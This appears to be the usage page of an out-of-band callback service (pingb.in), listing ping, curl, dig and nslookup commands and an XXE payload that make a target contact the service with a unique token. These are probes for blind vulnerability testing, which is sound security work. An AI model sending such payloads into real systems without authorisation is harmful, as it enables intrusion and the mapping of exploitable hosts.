$ ping -c1 -p 002667b23e0c3e1874c0d64e04cbec00 pingb.in
 

$ curl pingb.in/p/2667b23e0c3e1874c0d64e04cbec
 

$ dig 2667b23e0c3e1874c0d64e04cbec @pingb.in
 

$ dig 2667b23e0c3e1874c0d64e04cbec.ns.pingb.in
 

C:\> nslookup 2667b23e0c3e1874c0d64e04cbec pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/2667b23e0c3e1874c0d64e04cbec">]>
    <foo>&xxe;</foo>